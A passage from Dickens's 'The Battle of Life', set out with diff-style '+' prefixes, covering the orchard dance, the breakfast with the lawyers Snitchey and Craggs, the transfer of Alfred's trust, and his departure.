+mill, and crowded the orchard, and burdened the meadow, and piled the
+rickyard high with dying men. So altered was the battle-ground, where
+thousands upon thousands had been killed in the great fight.
+
+Nowhere more altered, perhaps, about a hundred years ago, than in one
+little orchard attached to an old stone house with a honeysuckle porch:
+where, on a bright autumn morning, there were sounds of music and
+laughter, and where two girls danced merrily together on the grass,
+while some half-dozen peasant women standing on ladders, gathering the
+apples from the trees, stopped in their work to look down, and share
+their enjoyment. It was a pleasant, lively, natural scene; a beautiful
+day, a retired spot; and the two girls, quite unconstrained and
+careless, danced in the very freedom and gaiety of their hearts.
+
+If there were no such thing as display in the world, my private opinion
+is, and I hope you agree with me, that we might get on a great deal
+better than we do, and might be infinitely more agreeable company than
+we are. It was charming to see how these girls danced. They had no
+spectators but the apple-pickers on the ladders. They were very glad to
+please them, but they danced to please themselves (or at least you would
+have supposed so); and you could no more help admiring, than they could
+help dancing. How they did dance!
+
+Not like opera dancers. Not at all. And not like Madame Anybody's
+finished pupils. Not the least. It was not quadrille dancing, nor minuet
+dancing, nor even country-dance dancing. It was neither in the old
+style, nor the new style, nor the French style, nor the English style;
+though it may have been, by accident, a trifle in the Spanish style,
+which is a free and joyous one, I am told, deriving a delightful air of
+off-hand inspiration, from the chirping little castanets. As they danced
+among the orchard trees, and down the groves of stems and back again,
+and twirled each other lightly round and round, the influence of their
+airy motion seemed to spread and spread, in the sun-lighted scene, like
+an expanding circle in the water. Their streaming hair and fluttering
+skirts, the elastic grass beneath their feet, the boughs that rustled in
+the morning air--the flashing leaves, their speckled shadows on the soft
+green ground--the balmy wind that swept along the landscape, glad to
+turn the distant windmill, cheerily--everything between the two girls,
+and the man and team at plough upon the ridge of land, where they showed
+against the sky as if they were the last things in the world--seemed
+dancing too.
+
+At last the younger of the dancing sisters, out of breath, and laughing
+gaily, threw herself upon a bench to rest. The other leaned against
+a tree hard by. The music, a wandering harp and fiddle, left off
+with a flourish, as if it boasted of its freshness; though, the truth
+is, it had gone at such a pace, and worked itself to such a pitch of
+competition with the dancing, that it never could have held on half a
+minute longer. The apple-pickers on the ladders raised a hum and murmur
+of applause, and then, in keeping with the sound, bestirred themselves
+to work again, like bees.
+
+The more actively, perhaps, because an elderly gentleman, who was
+no other than Doctor Jeddler himself--it was Doctor Jeddler's house
+and orchard, you should know, and these were Doctor Jeddler's
+daughters--came bustling out to see what was the matter, and who the
+deuce played music on his property, before breakfast. For he was a great
+philosopher, Doctor Jeddler, and not very musical.
+
+"Music and dancing _to-day_!" said the Doctor, stopping short, and
+speaking to himself, "I thought they dreaded to-day. But it's a world of
+contradictions. Why, Grace; why, Marion!" he added, aloud, "is the world
+more mad than usual this morning?"
+
+"Make some allowance for it, father, if it be," replied his younger
+daughter, Marion, going close to him, and looking into his face, "for
+it's somebody's birth-day."
+
+"Somebody's birth-day, Puss," replied the Doctor. "Don't you know it's
+always somebody's birth-day? Did you never hear how many new performers
+enter on this--ha! ha! ha!--it's impossible to speak gravely of it--on
+this preposterous and ridiculous business called Life, every minute?"
+
+"No, father!"
+
+"No, not you, of course; you're a woman--almost," said the Doctor. "By
+the bye," and he looked into the pretty face, still close to his, "I
+suppose it's _your_ birth-day."
+
+"No! Do you really, father?" cried his pet daughter, pursing up her red
+lips to be kissed.
+
+"There! Take my love with it," said the Doctor, imprinting his upon
+them; "and many happy returns of the--the idea!--of the day. The notion
+of wishing happy returns in such a farce as this," said the Doctor to
+himself, "is good! Ha! ha! ha!"
+
+Doctor Jeddler was, as I have said, a great philosopher; and the heart
+and mystery of his philosophy was, to look upon the world as a gigantic
+practical joke: as something too absurd to be considered seriously, by
+any rational man. His system of belief had been, in the beginning, part
+and parcel of the battle-ground on which he lived; as you shall
+presently understand.
+
+"Well! But how did you get the music?" asked the Doctor.
+"Poultry-stealers, of course. Where did the minstrels come from?"
+
+"Alfred sent the music," said his daughter Grace, adjusting a few
+simple flowers in her sister's hair, with which, in her admiration of
+that youthful beauty, she had herself adorned it half-an-hour before,
+and which the dancing had disarranged.
+
+"Oh! Alfred sent the music, did he?" returned the Doctor.
+
+"Yes. He met it coming out of the town as he was entering early. The
+men are travelling on foot, and rested there last night; and as it was
+Marion's birth-day, and he thought it would please her, he sent them on,
+with a pencilled note to me, saying that if I thought so too, they had
+come to serenade her."
+
+"Ay, ay," said the Doctor, carelessly, "he always takes your opinion."
+
+"And my opinion being favorable," said Grace, good-humouredly; and
+pausing for a moment to admire the pretty head she decorated, with her
+own thrown back; "and Marion being in high spirits, and beginning to
+dance, I joined her: and so we danced to Alfred's music till we were out
+of breath. And we thought the music all the gayer for being sent by
+Alfred. Didn't we, dear Marion?"
+
+"Oh, I don't know, Grace. How you teaze me about Alfred."
+
+"Teaze you by mentioning your lover!" said her sister.
+
+"I am sure I don't much care to have him mentioned," said the wilful
+beauty, stripping the petals from some flowers she held, and scattering
+them on the ground. "I am almost tired of hearing of him; and as to his
+being my lover"----
+
+"Hush! Don't speak lightly of a true heart, which is all your own,
+Marion," cried her sister, "even in jest. There is not a truer heart
+than Alfred's in the world!"
+
+"No--no," said Marion, raising her eyebrows with a pleasant air of
+careless consideration, "perhaps not. But I don't know that there's any
+great merit in that. I--I don't want him to be so very true. I never
+asked him. If he expects that I----. But, dear Grace, why need we talk
+of him at all, just now!"
+
+It was agreeable to see the graceful figures of the blooming sisters,
+twined together, lingering among the trees, conversing thus, with
+earnestness opposed to lightness, yet with love responding tenderly to
+love. And it was very curious indeed to see the younger sister's eyes
+suffused with tears; and something fervently and deeply felt, breaking
+through the wilfulness of what she said, and striving with it painfully.
+
+The difference between them, in respect of age, could not exceed four
+years at most: but Grace, as often happens in such cases, when no mother
+watches over both (the Doctor's wife was dead), seemed, in her gentle
+care of her young sister, and in the steadiness of her devotion to her,
+older than she was; and more removed, in course of nature, from all
+competition with her, or participation, otherwise than through her
+sympathy and true affection, in her wayward fancies, than their ages
+seemed to warrant. Great character of mother, that, even in this shadow,
+and faint reflection of it, purifies the heart, and raises the exalted
+nature nearer to the angels!
+
+The Doctor's reflections, as he looked after them, and heard the purport
+of their discourse, were limited, at first, to certain merry meditations
+on the folly of all loves and likings, and the idle imposition
+practised on themselves by young people, who believed, for a moment,
+that there could be anything serious in such bubbles, and were always
+undeceived--always!
+
+But the home-adorning, self-denying qualities of Grace, and her sweet
+temper, so gentle and retiring, yet including so much constancy and
+bravery of spirit, seemed all expressed to him in the contrast between
+her quiet household figure and that of his younger and more beautiful
+child; and he was sorry for her sake--sorry for them both--that life
+should be such a very ridiculous business as it was.
+
+The Doctor never dreamed of inquiring whether his children, or either of
+them, helped in any way to make the scheme a serious one. But then he
+was a Philosopher.
+
+A kind and generous man by nature, he had stumbled, by chance, over that
+common Philosopher's stone (much more easily discovered than the object
+of the alchemist's researches), which sometimes trips up kind and
+generous men, and has the fatal property of turning gold to dross, and
+every precious thing to poor account.
+
+"Britain!" cried the Doctor. "Britain! Halloa!"
+
+A small man, with an uncommonly sour and discontented face, emerged from
+the house, and returned to this call the unceremonious acknowledgment of
+"Now then!"
+
+"Where's the breakfast table?" said the Doctor.
+
+"In the house," returned Britain.
+
+"Are you going to spread it out here, as you were told last night?"
+said the Doctor. "Don't you know that there are gentlemen coming? That
+there's business to be done this morning, before the coach comes by?
+That this is a very particular occasion?"
+
+"I couldn't do anything, Doctor Jeddler, till the women had done getting
+in the apples, could I?" said Britain, his voice rising with his
+reasoning, so that it was very loud at last.
+
+"Well, have they done now?" returned the Doctor, looking at his watch,
+and clapping his hands. "Come! make haste! where's Clemency?"
+
+"Here am I, Mister," said a voice from one of the ladders, which a pair
+of clumsy feet descended briskly. "It's all done now. Clear away, gals.
+Everything shall be ready for you in half a minute, Mister."
+
+With that she began to bustle about most vigorously; presenting, as she
+did so, an appearance sufficiently peculiar to justify a word of
+introduction.
+
+She was about thirty years old; and had a sufficiently plump and
+cheerful face, though it was twisted up into an odd expression of
+tightness that made it comical. But the extraordinary homeliness of her
+gait and manner, would have superseded any face in the world. To say
+that she had two left legs, and somebody else's arms; and that all four
+limbs seemed to be out of joint, and to start from perfectly wrong
+places when they were set in motion; is to offer the mildest outline of
+the reality. To say that she was perfectly content and satisfied with
+these arrangements, and regarded them as being no business of hers, and
+took her arms and legs as they came, and allowed them to dispose of
+themselves just as it happened, is to render faint justice to her
+equanimity. Her dress was a prodigious pair of self-willed shoes, that
+never wanted to go where her feet went; blue stockings; a printed gown
+of many colours, and the most hideous pattern procurable for money; and
+a white apron. She always wore short sleeves, and always had, by some
+accident, grazed elbows, in which she took so lively an interest that
+she was continually trying to turn them round and get impossible views
+of them. In general, a little cap perched somewhere on her head; though
+it was rarely to be met with in the place usually occupied in other
+subjects, by that article of dress; but from head to foot she was
+scrupulously clean, and maintained a kind of dislocated tidiness. Indeed
+her laudable anxiety to be tidy and compact in her own conscience as
+well as in the public eye, gave rise to one of her most startling
+evolutions, which was to grasp herself sometimes by a sort of wooden
+handle (part of her clothing, and familiarly called a busk), and wrestle
+as it were with her garments, until they fell into a symmetrical
+arrangement.
+
+Such, in outward form and garb, was Clemency Newcome; who was supposed
+to have unconsciously originated a corruption of her own christian
+name, from Clementina (but nobody knew, for the deaf old mother, a very
+phenomenon of age, whom she had supported almost from a child, was dead,
+and she had no other relation); who now busied herself in preparing the
+table; and who stood, at intervals, with her bare red arms crossed,
+rubbing her grazed elbows with opposite hands, and staring at it very
+composedly, until she suddenly remembered something else it wanted, and
+jogged off to fetch it.
+
+"Here are them two lawyers a-coming, Mister!" said Clemency, in a tone
+of no very great good-will.
+
+"Aha!" cried the Doctor, advancing to the gate to meet them. "Good
+morning, good morning! Grace, my dear! Marion! Here are Messrs. Snitchey
+and Craggs. Where's Alfred?"
+
+"He'll be back directly, father, no doubt," said Grace. "He had so much
+to do this morning in his preparations for departure, that he was up and
+out by daybreak. Good morning, gentlemen."
+
+"Ladies!" said Mr. Snitchey, "For Self and Craggs," who bowed, "good
+morning. Miss," to Marion, "I kiss your hand." Which he did. "And I wish
+you"--which he might or might not, for he didn't look, at first sight,
+like a gentleman troubled with many warm outpourings of soul, in behalf
+of other people, "a hundred happy returns of this auspicious day."
+
+"Ha ha ha!" laughed the Doctor thoughtfully, with his hands in his
+pockets. "The great farce in a hundred acts!"
+
+"You wouldn't, I am sure," said Mr. Snitchey, standing a small
+professional blue bag against one leg of the table, "cut the great
+farce short for this actress, at all events, Doctor Jeddler."
+
+"No," returned the Doctor. "God forbid! May she live to laugh at it, as
+long as she _can_ laugh, and then say, with the French wit, 'The farce
+is ended; draw the curtain.'"
+
+"The French wit," said Mr. Snitchey, peeping sharply into his blue bag,
+"was wrong, Doctor Jeddler; and your philosophy is altogether wrong,
+depend upon it, as I have often told you. Nothing serious in life! What
+do you call law?"
+
+"A joke," replied the Doctor.
+
+"Did you ever go to law?" asked Mr. Snitchey, looking out of the blue
+bag.
+
+"Never," returned the Doctor.
+
+"If you ever do," said Mr. Snitchey, "perhaps you'll alter that
+opinion."
+
+Craggs, who seemed to be represented by Snitchey, and to be conscious
+of little or no separate existence or personal individuality, offered a
+remark of his own in this place. It involved the only idea of which he
+did not stand seised and possessed in equal moieties with Snitchey; but
+he had some partners in it among the wise men of the world.
+
+"It's made a great deal too easy," said Mr. Craggs.
+
+"Law is?" asked the Doctor.
+
+"Yes," said Mr. Craggs, "everything is. Everything appears to me to be
+made too easy, now-a-days. It's the vice of these times. If the world is
+a joke (I am not prepared to say it isn't), it ought to be made a very
+difficult joke to crack. It ought to be as hard a struggle, Sir, as
+possible. That's the intention. But it's being made far too easy. We are
+oiling the gates of life. They ought to be rusty. We shall have them
+beginning to turn, soon, with a smooth sound. Whereas they ought to
+grate upon their hinges, Sir."
+
+Mr. Craggs seemed positively to grate upon his own hinges, as he
+delivered this opinion; to which he communicated immense effect--being
+a cold, hard, dry man, dressed in grey and white, like a flint; with
+small twinkles in his eyes, as if something struck sparks out of them.
+The three natural kingdoms, indeed, had each a fanciful representative
+among this brotherhood of disputants: for Snitchey was like a magpie or
+a raven (only not so sleek), and the Doctor had a streaked face like a
+winter-pippin, with here and there a dimple to express the peckings of
+the birds, and a very little bit of pigtail behind, that stood for the
+stalk.
+
+As the active figure of a handsome young man, dressed for a journey,
+and followed by a porter, bearing several packages and baskets,
+entered the orchard at a brisk pace, and with an air of gaiety and
+hope that accorded well with the morning,--these three drew together,
+like the brothers of the sister Fates, or like the Graces most
+effectually disguised, or like the three weird prophets on the heath,
+and greeted him.
+
+"Happy returns, Alf," said the Doctor, lightly.
+
+"A hundred happy returns of this auspicious day, Mr. Heathfield," said
+Snitchey, bowing low.
+
+"Returns!" Craggs murmured in a deep voice, all alone.
+
+"Why, what a battery!" exclaimed Alfred, stopping short, "and
+one--two--three--all foreboders of no good, in the great sea before me.
+I am glad you are not the first I have met this morning: I should have
+taken it for a bad omen. But Grace was the first--sweet, pleasant
+Grace--so I defy you all!"
+
+"If you please, Mister, _I_ was the first you know," said Clemency
+Newcome. "She was a walking out here, before sunrise, you remember. I
+was in the house."
+
+"That's true! Clemency was the first," said Alfred. "So I defy you with
+Clemency."
+
+"Ha, ha, ha!--for Self and Craggs," said Snitchey. "What a defiance!"
+
+"Not so bad a one as it appears, may be," said Alfred, shaking hands
+heartily with the Doctor, and also with Snitchey and Craggs, and then
+looking round. "Where are the--Good Heavens!"
+
+With a start, productive for the moment of a closer partnership between
+Jonathan Snitchey and Thomas Craggs than the subsisting articles of
+agreement in that wise contemplated, he hastily betook himself to where
+the sisters stood together, and--however, I needn't more particularly
+explain his manner of saluting Marion first, and Grace afterwards, than
+by hinting that Mr. Craggs may possibly have considered it "too easy."
+
+Perhaps to change the subject, Doctor Jeddler made a hasty move towards
+the breakfast, and they all sat down at table. Grace presided; but so
+discreetly stationed herself, as to cut off her sister and Alfred from
+the rest of the company. Snitchey and Craggs sat at opposite corners,
+with the blue bag between them for safety; and the Doctor took his usual
+position, opposite to Grace. Clemency hovered galvanically about the
+table, as waitress; and the melancholy Britain, at another and a smaller
+board, acted as Grand Carver of a round of beef, and a ham.
+
+"Meat?" said Britain, approaching Mr. Snitchey, with the carving knife
+and fork in his hands, and throwing the question at him like a missile.
+
+"Certainly," returned the lawyer.
+
+"Do _you_ want any?" to Craggs.
+
+"Lean, and well done," replied that gentleman.
+
+[Illustration]
+
+Having executed these orders, and moderately supplied the Doctor (he
+seemed to know that nobody else wanted anything to eat), he lingered as
+near the Firm as he decently could, watching, with an austere eye, their
+disposition of the viands, and but once relaxing the severe expression
+of his face. This was on the occasion of Mr. Craggs, whose teeth were
+not of the best, partially choking, when he cried out with great
+animation, "I thought he was gone!"
+
+"Now Alfred," said the Doctor, "for a word or two of business, while we
+are yet at breakfast."
+
+"While we are yet at breakfast," said Snitchey and Craggs, who seemed to
+have no present idea of leaving off.
+
+Although Alfred had not been breakfasting, and seemed to have quite
+enough business on his hands as it was, he respectfully answered:
+
+"If you please, Sir."
+
+"If anything could be serious," the Doctor began, "in such a--"
+
+"Farce as this, Sir," hinted Alfred.
+
+"In such a farce as this," observed the Doctor, "it might be this
+recurrence, on the eve of separation, of a double birth-day, which is
+connected with many associations pleasant to us four, and with the
+recollection of a long and amicable intercourse. That's not to the
+purpose."
+
+"Ah! yes, yes, Doctor Jeddler," said the young man. "It is to the
+purpose. Much to the purpose, as my heart bears witness this morning;
+and as yours does too, I know, if you would let it speak. I leave your
+house to-day; I cease to be your ward to-day; we part with tender
+relations stretching far behind us, that never can be exactly renewed,
+and with others dawning yet before us," he looked down at Marion beside
+him, "fraught with such considerations as I must not trust myself to
+speak of now. Come, come!" he added, rallying his spirits and the Doctor
+at once, "there's a serious grain in this large foolish dust-heap,
+Doctor. Let us allow to-day, that there is One."
+
+"To-day!" cried the Doctor. "Hear him! Ha, ha, ha! Of all days in the
+foolish year. Why on this day, the great battle was fought on this
+ground. On this ground where we now sit, where I saw my two girls dance
+this morning, where the fruit has just been gathered for our eating from
+these trees, the roots of which are struck in Men, not earth,--so many
+lives were lost, that within my recollection, generations afterwards, a
+churchyard full of bones, and dust of bones, and chips of cloven skulls,
+has been dug up from underneath our feet here. Yet not a hundred people
+in that battle, knew for what they fought, or why; not a hundred of the
+inconsiderate rejoicers in the victory, why they rejoiced. Not half a
+hundred people were the better, for the gain or loss. Not half-a-dozen
+men agree to this hour on the cause or merits; and nobody, in short,
+ever knew anything distinct about it, but the mourners of the slain.
+Serious, too!" said the Doctor, laughing. "Such a system!"
+
+"But all this seems to me," said Alfred, "to be very serious."
+
+"Serious!" cried the Doctor. "If you allowed such things to be serious,
+you must go mad, or die, or climb up to the top of a mountain, and turn
+hermit."
+
+"Besides--so long ago," said Alfred.
+
+"Long ago!" returned the Doctor. "Do you know what the world has been
+doing, ever since? Do you know what else it has been doing? _I_ don't!"
+
+"It has gone to law a little," observed Mr. Snitchey, stirring his tea.
+
+"Although the way out has been always made too easy," said his partner.
+
+"And you'll excuse my saying, Doctor," pursued Mr. Snitchey, "having
+been already put a thousand times in possession of my opinion, in the
+course of our discussions, that, in its having gone to law, and in its
+legal system altogether, I do observe a serious side--now, really, a
+something tangible, and with a purpose and intention in it--"
+
+Clemency Newcome made an angular tumble against the table, occasioning
+a sounding clatter among the cups and saucers.
+
+"Heyday! what's the matter there?" exclaimed the Doctor.
+
+"It's this evil-inclined blue bag," said Clemency, "always tripping up
+somebody!"
+
+"With a purpose and intention in it, I was saying," resumed Snitchey,
+"that commands respect. Life a farce, Doctor Jeddler? With law in it?"
+
+The Doctor laughed, and looked at Alfred.
+
+"Granted, if you please, that war is foolish," said Snitchey. "There
+we agree. For example. Here's a smiling country," pointing it out with
+his fork, "once overrun by soldiers--trespassers every man of 'em--and
+laid waste by fire and sword. He, he, he! The idea of any man exposing
+himself, voluntarily, to fire and sword! Stupid, wasteful, positively
+ridiculous; you laugh at your fellow-creatures, you know, when you
+think of it! But take this smiling country as it stands. Think of the
+laws appertaining to real property; to the bequest and devise of real
+property; to the mortgage and redemption of real property; to leasehold,
+freehold, and copyhold estate; think," said Mr. Snitchey, with such
+great emotion that he actually smacked his lips, "of the complicated
+laws relating to title and proof of title, with all the contradictory
+precedents and numerous acts of parliament connected with them; think of
+the infinite number of ingenious and interminable chancery suits, to
+which this pleasant prospect may give rise;--and acknowledge, Doctor
+Jeddler, that there is a green spot in the scheme about us! I believe,"
+said Mr. Snitchey, looking at his partner, "that I speak for Self and
+Craggs?"
+
+Mr. Craggs having signified assent, Mr. Snitchey, somewhat freshened by
+his recent eloquence, observed that he would take a little more beef,
+and another cup of tea.
+
+"I don't stand up for life in general," he added, rubbing his hands and
+chuckling, "it's full of folly; full of something worse. Professions of
+trust, and confidence, and unselfishness, and all that. Bah, bah, bah!
+We see what they're worth. But you mustn't laugh at life; you've got a
+game to play; a very serious game indeed! Everybody's playing against
+you, you know; and you're playing against them. Oh! it's a very
+interesting thing. There are deep moves upon the board. You must only
+laugh, Doctor Jeddler, when you win; and then not much. He, he, he! And
+then not much," repeated Snitchey, rolling his head and winking his eye;
+as if he would have added, 'you may do this instead!'
+
+"Well, Alfred!" cried the Doctor, "what do you say now?"
+
+"I say, Sir," replied Alfred, "that the greatest favor you could do me,
+and yourself too I am inclined to think, would be to try sometimes to
+forget this battle-field, and others like it, in that broader
+battle-field of Life, on which the sun looks every day."
+
+"Really, I'm afraid that wouldn't soften his opinions, Mr. Alfred," said
+Snitchey. "The combatants are very eager and very bitter in that same
+battle of Life. There's a great deal of cutting and slashing, and firing
+into people's heads from behind; terrible treading down, and trampling
+on; it's rather a bad business."
+
+"I believe, Mr. Snitchey," said Alfred, "there are quiet victories and
+struggles, great sacrifices of self, and noble acts of heroism, in
+it--even in many of its apparent lightnesses and contradictions--not the
+less difficult to achieve, because they have no earthly chronicle or
+audience; done every day in nooks and corners, and in little households,
+and in men's and women's hearts--any one of which might reconcile the
+sternest man to such a world, and fill him with belief and hope in it,
+though two-fourths of its people were at war, and another fourth at law;
+and that's a bold word."
+
+Both the sisters listened keenly.
+
+"Well, well!" said the Doctor, "I am too old to be converted, even by
+my friend Snitchey here, or my good spinster sister, Martha Jeddler;
+who had what she calls her domestic trials ages ago, and has led a
+sympathising life with all sorts of people ever since; and who is so
+much of your opinion (only she's less reasonable and more obstinate,
+being a woman), that we can't agree, and seldom meet. I was born upon
+this battle-field. I began, as a boy, to have my thoughts directed to
+the real history of a battle-field. Sixty years have gone over my head;
+and I have never seen the Christian world, including Heaven knows how
+many loving mothers and good enough girls, like mine here, anything but
+mad for a battle-field. The same contradictions prevail in everything.
+One must either laugh or cry at such stupendous inconsistencies; and I
+prefer to laugh."
+
+Britain, who had been paying the profoundest and most melancholy
+attention to each speaker in his turn, seemed suddenly to decide in
+favor of the same preference, if a deep sepulchral sound that escaped
+him might be construed into a demonstration of risibility. His face,
+however, was so perfectly unaffected by it, both before and afterwards,
+that although one or two of the breakfast party looked round as being
+startled by a mysterious noise, nobody connected the offender with it.
+
+Except his partner in attendance, Clemency Newcome; who, rousing him
+with one of those favorite joints, her elbows, inquired, in a
+reproachful whisper, what he laughed at.
+
+"Not you!" said Britain.
+
+"Who then?"
+
+"Humanity," said Britain. "That's the joke."
+
+"What between master and them lawyers, he's getting more and more
+addle-headed every day!" cried Clemency, giving him a lunge with the
+other elbow, as a mental stimulant. "Do you know where you are? Do you
+want to get warning?"
+
+"I don't know anything," said Britain, with a leaden eye and an
+immovable visage. "I don't care for anything. I don't make out anything.
+I don't believe anything. And I don't want anything."
+
+Although this forlorn summary of his general condition, may have been
+overcharged in an access of despondency, Benjamin Britain--sometimes
+called Little Britain, to distinguish him from Great; as we might say
+Young England, to express Old England with a difference--had defined his
+real state more accurately than might be supposed. For serving as a sort
+of man Miles, to the Doctor's Friar Bacon; and listening day after day
+to innumerable orations addressed by the Doctor to various people, all
+tending to shew that his very existence was at best a mistake and an
+absurdity; this unfortunate servitor had fallen, by degrees, into such
+an abyss of confused and contradictory suggestions from within and
+without, that Truth at the bottom of her well, was on the level surface
+as compared with Britain in the depths of his mystification. The only
+point he clearly comprehended, was, that the new element usually brought
+into these discussions by Snitchey and Craggs, never served to make them
+clearer, and always seemed to give the Doctor a species of advantage and
+confirmation. Therefore he looked upon the Firm as one of the proximate
+causes of his state of mind, and held them in abhorrence accordingly.
+
+"But this is not our business, Alfred," said the Doctor. "Ceasing to be
+my ward (as you have said) to-day; and leaving us full to the brim of
+such learning as the Grammar School down here was able to give you, and
+your studies in London could add to that, and such practical knowledge
+as a dull old country Doctor like myself could graft upon both; you are
+away, now, into the world. The first term of probation appointed by your
+poor father, being over, away you go now, your own master, to fulfil his
+second desire: and long before your three years' tour among the foreign
+schools of medicine is finished, you'll have forgotten us. Lord, you'll
+forget us easily in six months!"
+
+"If I do--But you know better; why should I speak to you!" said Alfred,
+laughing.
+
+"I don't know anything of the sort," returned the Doctor. "What do you
+say, Marion?"
+
+Marion, trifling with her teacup, seemed to say--but she didn't say
+it--that he was welcome to forget them, if he could. Grace pressed the
+blooming face against her cheek, and smiled.
+
+"I haven't been, I hope, a very unjust steward in the execution of my
+trust," pursued the Doctor; "but I am to be, at any rate, formally
+discharged, and released, and what not, this morning; and here are our
+good friends Snitchey and Craggs, with a bagful of papers, and accounts,
+and documents, for the transfer of the balance of the trust fund to you
+(I wish it was a more difficult one to dispose of, Alfred, but you must
+get to be a great man and make it so), and other drolleries of that
+sort, which are to be signed, sealed, and delivered."
+
+"And duly witnessed, as by law required," said Snitchey, pushing away
+his plate, and taking out the papers, which his partner proceeded to
+spread upon the table; "and Self and Craggs having been co-trustees with
+you, Doctor, in so far as the fund was concerned, we shall want your two
+servants to attest the signatures--can you read, Mrs. Newcome?"
+
+"I a'n't married, Mister," said Clemency.
+
+"Oh, I beg your pardon. I should think not," chuckled Snitchey, casting
+his eyes over her extraordinary figure. "You _can_ read?"
+
+"A little," answered Clemency.
+
+"The marriage service, night and morning, eh?" observed the lawyer,
+jocosely.
+
+"No," said Clemency. "Too hard. I only reads a thimble."
+
+"Read a thimble!" echoed Snitchey. "What are you talking about, young
+woman?"
+
+Clemency nodded. "And a nutmeg-grater."
+
+"Why, this is a lunatic! a subject for the Lord High Chancellor!" said
+Snitchey, staring at her.
+
+"If possessed of any property," stipulated Craggs.
+
+Grace, however, interposing, explained that each of the articles in
+question bore an engraved motto, and so formed the pocket library of
+Clemency Newcome, who was not much given to the study of books.
+
+"Oh, that's it, is it, Miss Grace!" said Snitchey. "Yes, yes. Ha, ha,
+ha! I thought our friend was an idiot. She looks uncommonly like it," he
+muttered, with a supercilious glance. "And what does the thimble say,
+Mrs. Newcome?"
+
+"I a'n't married, Mister," observed Clemency.
+
+"Well, Newcome. Will that do?" said the lawyer. "What does the thimble
+say, Newcome?"
+
+How Clemency, before replying to this question, held one pocket open,
+and looked down into its yawning depths for the thimble which wasn't
+there,--and how she then held an opposite pocket open, and seeming to
+descry it, like a pearl of great price, at the bottom, cleared away such
+intervening obstacles as a handkerchief, an end of wax candle, a flushed
+apple, an orange, a lucky penny, a cramp bone, a padlock, a pair of
+scissors in a sheath, more expressively describable as promising young
+shears, a handful or so of loose beads, several balls of cotton, a
+needle-case, a cabinet collection of curl-papers, and a biscuit, all of
+which articles she entrusted individually and severally to Britain to
+hold,--is of no consequence. Nor how, in her determination to grasp this
+pocket by the throat and keep it prisoner (for it had a tendency to
+swing and twist itself round the nearest corner), she assumed, and
+calmly maintained, an attitude apparently inconsistent with the
+human anatomy and the laws of gravity. It is enough that at last she
+triumphantly produced the thimble on her finger, and rattled the
+nutmeg-grater; the literature of both those trinkets being obviously in
+course of wearing out and wasting away, through excessive friction.
+
+"That's the thimble, is it, young woman?" said Mr. Snitchey, diverting
+himself at her expense. "And what does the thimble say?"
+
+"It says," replied Clemency, reading slowly round it as if it were a
+tower, "For-get and for-give."
+
+Snitchey and Craggs laughed heartily. "So new!" said Snitchey. "So
+easy!" said Craggs. "Such a knowledge of human nature in it," said
+Snitchey. "So applicable to the affairs of life," said Craggs.
+
+"And the nutmeg-grater?" inquired the head of the Firm.
+
+"The grater says," returned Clemency, "Do as you--wold--be--done by."
+
+"'Do, or you'll be done brown,' you mean," said Mr. Snitchey.
+
+"I don't understand," retorted Clemency, shaking her head vaguely. "I
+a'n't no lawyer."
+
+"I am afraid that if she was, Doctor," said Mr. Snitchey, turning to
+him suddenly, as if to anticipate any effect that might otherwise be
+consequent on this retort, "she'd find it to be the golden rule of half
+her clients. They are serious enough in that--whimsical as your world
+is--and lay the blame on us afterwards. We, in our profession, are
+little else than mirrors after all, Mr. Alfred; but we are generally
+consulted by angry and quarrelsome people, who are not in their best
+looks; and it's rather hard to quarrel with us if we reflect unpleasant
+aspects. I think," said Mr. Snitchey, "that I speak for Self and
+Craggs?"
+
+"Decidedly," said Craggs.
+
+"And so, if Mr. Britain will oblige us with a mouthful of ink," said Mr.
+Snitchey, returning to the papers, "we'll sign, seal, and deliver as
+soon as possible, or the coach will be coming past before we know where
+we are."
+
+If one might judge from his appearance, there was every probability of
+the coach coming past before Mr. Britain knew where _he_ was; for he
+stood in a state of abstraction, mentally balancing the Doctor against
+the lawyers, and the lawyers against the Doctor, and their clients
+against both; and engaged in feeble attempts to make the thimble and
+nutmeg-grater (a new idea to him) square with anybody's system of
+philosophy; and, in short, bewildering himself as much as ever his
+great namesake has done with theories and schools. But Clemency, who
+was his good Genius--though he had the meanest possible opinion of her
+understanding, by reason of her seldom troubling herself with abstract
+speculations, and being always at hand to do the right thing at the
+right time--having produced the ink in a twinkling, tendered him the
+further service of recalling him to himself by the application of her
+elbows; with which gentle flappers she so jogged his memory, in a more
+literal construction of that phrase than usual, that he soon became
+quite fresh and brisk.
+
+How he labored under an apprehension not uncommon to persons in his
+degree, to whom the use of pen and ink is an event, that he couldn't
+append his name to a document, not of his own writing, without
+committing himself in some shadowy manner, or somehow signing away
+vague and enormous sums of money; and how he approached the deeds under
+protest, and by dint of the Doctor's coercion, and insisted on pausing
+to look at them before writing (the cramped hand, to say nothing of the
+phraseology, being so much Chinese to him), and also on turning them
+round to see whether there was anything fraudulent, underneath; and how,
+having signed his name, he became desolate as one who had parted with
+his property and rights; I want the time to tell. Also, how the blue bag
+containing his signature, afterwards had a mysterious interest for him,
+and he couldn't leave it; also, how Clemency Newcome, in an ecstasy of
+laughter at the idea of her own importance and dignity, brooded over the
+whole table with her two elbows like a spread eagle, and reposed her
+head upon her left arm as a preliminary to the formation of certain
+cabalistic characters, which required a deal of ink, and imaginary
+counterparts whereof she executed at the same time with her tongue.
+Also how, having once tasted ink, she became thirsty in that regard, as
+tigers are said to be after tasting another sort of fluid, and wanted to
+sign everything, and put her name in all kinds of places. In brief, the
+Doctor was discharged of his trust and all its responsibilities; and
+Alfred, taking it on himself, was fairly started on the journey of life.
+
+"Britain!" said the Doctor. "Run to the gate, and watch for the coach.
+Time flies, Alfred!"
+
+"Yes, Sir, yes," returned the young man, hurriedly. "Dear Grace! a
+moment! Marion--so young and beautiful, so winning and so much admired,
+dear to my heart as nothing else in life is--remember! I leave Marion to
+you!"
+
+"She has always been a sacred charge to me, Alfred. She is doubly so
+now. I will be faithful to my trust, believe me."
+
+"I do believe it, Grace. I know it well. Who could look upon your face,
+and hear your earnest voice, and not know it! Ah, good Grace! If I had
+your well-governed heart, and tranquil mind, how bravely I would leave
+this place to-day!"
+
+"Would you?" she answered, with a quiet smile.
+
+"And yet, Grace--Sister, seems the natural word."
+
+"Use it!" she said quickly, "I am glad to hear it, call me nothing
+else."
+
+"And yet, Sister, then," said Alfred, "Marion and I had better have your
+true and stedfast qualities serving us here, and making us both happier
+and better. I wouldn't carry them away, to sustain myself, if I could!"
+
+"Coach upon the hill-top!" exclaimed Britain.
+
+"Time flies, Alfred," said the Doctor.
+
+Marion had stood apart, with her eyes fixed upon the ground; but this
